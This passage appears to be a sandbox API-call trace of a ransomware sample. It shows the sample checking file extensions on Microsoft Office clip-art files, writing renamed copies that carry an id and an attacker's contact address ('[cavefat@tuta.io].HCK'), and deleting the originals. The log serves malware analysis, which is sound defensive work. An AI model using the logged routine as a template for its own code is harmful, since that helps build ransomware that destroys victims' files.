lpString2=".WMF") returned 1 [0166.994] lstrlenW (lpString=".xlsx") returned 5 [0166.994] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.994] lstrlenW (lpString=".ppt") returned 4 [0166.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.994] lstrlenW (lpString=".zip") returned 4 [0166.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.994] lstrlenW (lpString=".rar") returned 4 [0166.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.994] lstrlenW (lpString=".bz2") returned 4 [0166.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.994] lstrlenW (lpString=".7z") returned 3 [0166.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.994] lstrlenW (lpString=".dbf") returned 4 [0166.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.994] lstrlenW (lpString=".1cd") returned 4 [0166.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.994] lstrlenW (lpString=".jpg") returned 4 [0166.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.994] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.994] lstrlenW (lpString="J0105974.WMF") returned 12 [0166.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.003] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4612) returned 1 [0167.003] CloseHandle (hObject=0x354) returned 1 [0167.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220 [0167.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.021] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.021] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.040] GetLastError () returned 0x0 [0167.040] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1204, lpOverlapped=0x0) returned 1 [0167.042] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1210, lpOverlapped=0x0) returned 1 [0167.043] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.043] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.043] SetEndOfFile (hFile=0x370) returned 1 [0167.050] CloseHandle (hObject=0x370) returned 1 [0167.053] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.053] SetEndOfFile (hFile=0x2ec) returned 1 [0167.061] CloseHandle (hObject=0x2ec) returned 1 [0167.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0167.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.068] lstrlenW (lpString=".doc") returned 4 [0167.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.068] lstrlenW (lpString=".docx") returned 5 [0167.068] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.068] lstrlenW (lpString=".pdf") returned 4 [0167.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.068] lstrlenW (lpString=".xls") returned 4 [0167.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.068] lstrlenW (lpString=".xlsx") returned 5 [0167.068] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.068] lstrlenW (lpString=".ppt") returned 4 [0167.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.069] lstrlenW (lpString=".zip") returned 4 [0167.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.069] lstrlenW (lpString=".rar") returned 4 [0167.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString=".bz2") returned 4 [0167.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString=".7z") returned 3 [0167.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.069] lstrlenW (lpString=".dbf") returned 4 [0167.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.069] lstrlenW (lpString=".1cd") returned 4 [0167.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.069] lstrlenW (lpString=".jpg") returned 4 [0167.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.069] lstrlenW (lpString=".doc") returned 4 [0167.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString=".docx") returned 5 [0167.069] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.069] lstrlenW (lpString=".pdf") returned 4 [0167.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString=".xls") returned 4 [0167.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.069] lstrlenW (lpString=".xlsx") returned 5 [0167.069] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.069] lstrlenW (lpString=".ppt") returned 4 [0167.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.069] lstrlenW (lpString=".zip") returned 4 [0167.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.069] lstrlenW (lpString=".rar") returned 4 [0167.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString=".bz2") returned 4 [0167.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString=".7z") returned 3 [0167.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.069] lstrlenW (lpString=".dbf") returned 4 [0167.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.070] lstrlenW (lpString=".1cd") returned 4 [0167.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0167.070] lstrlenW (lpString=".jpg") returned 4 [0167.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.070] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.070] lstrlenW (lpString="J0106208.WMF") returned 12 [0167.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.079] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11900) returned 1 [0167.079] CloseHandle (hObject=0x2f4) returned 1 [0167.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220 [0167.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0167.097] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.097] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.134] GetLastError () returned 0x0 [0167.134] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0167.137] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2e80, lpOverlapped=0x0) returned 1 [0167.138] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.138] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.138] SetEndOfFile (hFile=0x354) returned 1 [0167.142] CloseHandle (hObject=0x354) returned 1 [0167.146] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.146] SetEndOfFile (hFile=0x398) returned 1 [0167.164] CloseHandle (hObject=0x398) returned 1 [0167.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0167.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.168] lstrlenW (lpString=".doc") returned 4 [0167.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.168] lstrlenW (lpString=".docx") returned 5 [0167.169] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.169] lstrlenW (lpString=".pdf") returned 4 [0167.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString=".xls") returned 4 [0167.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.169] lstrlenW (lpString=".xlsx") returned 5 [0167.169] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.169] lstrlenW (lpString=".ppt") returned 4 [0167.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.169] lstrlenW (lpString=".zip") returned 4 [0167.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.169] lstrlenW (lpString=".rar") returned 4 [0167.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString=".bz2") returned 4 [0167.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString=".7z") returned 3 [0167.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.169] lstrlenW (lpString=".dbf") returned 4 [0167.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.169] lstrlenW (lpString=".1cd") returned 4 [0167.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.169] lstrlenW (lpString=".jpg") returned 4 [0167.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.169] lstrlenW (lpString=".doc") returned 4 [0167.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString=".docx") returned 5 [0167.169] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.169] lstrlenW (lpString=".pdf") returned 4 [0167.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString=".xls") returned 4 [0167.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.169] lstrlenW (lpString=".xlsx") returned 5 [0167.169] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.169] lstrlenW (lpString=".ppt") returned 4 [0167.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.169] lstrlenW (lpString=".zip") returned 4 [0167.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.169] lstrlenW (lpString=".rar") returned 4 [0167.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.169] lstrlenW (lpString=".bz2") returned 4 [0167.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.170] lstrlenW (lpString=".7z") returned 3 [0167.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.170] lstrlenW (lpString=".dbf") returned 4 [0167.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.170] lstrlenW (lpString=".1cd") returned 4 [0167.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0167.170] lstrlenW (lpString=".jpg") returned 4 [0167.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.170] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.170] lstrlenW (lpString="J0106958.WMF") returned 12 [0167.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.172] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=13784) returned 1 [0167.172] CloseHandle (hObject=0x388) returned 1 [0167.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220 [0167.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.184] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.184] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.192] GetLastError () returned 0x0 [0167.192] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x35d8, lpOverlapped=0x0) returned 1 [0167.198] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x35e0, lpOverlapped=0x0) returned 1 [0167.198] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.199] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.199] SetEndOfFile (hFile=0x2f4) returned 1 [0167.201] CloseHandle (hObject=0x2f4) returned 1 [0167.248] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.248] SetEndOfFile (hFile=0x388) returned 1 [0167.285] CloseHandle (hObject=0x388) returned 1 [0167.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0167.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.300] lstrlenW (lpString=".doc") returned 4 [0167.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.300] lstrlenW (lpString=".docx") returned 5 [0167.300] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.300] lstrlenW (lpString=".pdf") returned 4 [0167.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.300] lstrlenW (lpString=".xls") returned 4 [0167.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.300] lstrlenW (lpString=".xlsx") returned 5 [0167.300] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.300] lstrlenW (lpString=".ppt") returned 4 [0167.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.300] lstrlenW (lpString=".zip") returned 4 [0167.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.300] lstrlenW (lpString=".rar") returned 4 [0167.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.300] lstrlenW (lpString=".bz2") returned 4 [0167.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.300] lstrlenW (lpString=".7z") returned 3 [0167.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.300] lstrlenW (lpString=".dbf") returned 4 [0167.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.300] lstrlenW (lpString=".1cd") returned 4 [0167.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.301] lstrlenW (lpString=".jpg") returned 4 [0167.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.301] lstrlenW (lpString=".doc") returned 4 [0167.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.301] lstrlenW (lpString=".docx") returned 5 [0167.301] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.301] lstrlenW (lpString=".pdf") returned 4 [0167.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.301] lstrlenW (lpString=".xls") returned 4 [0167.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.301] lstrlenW (lpString=".xlsx") returned 5 [0167.301] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.301] lstrlenW (lpString=".ppt") returned 4 [0167.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.301] lstrlenW (lpString=".zip") returned 4 [0167.301] lstrcmpiW 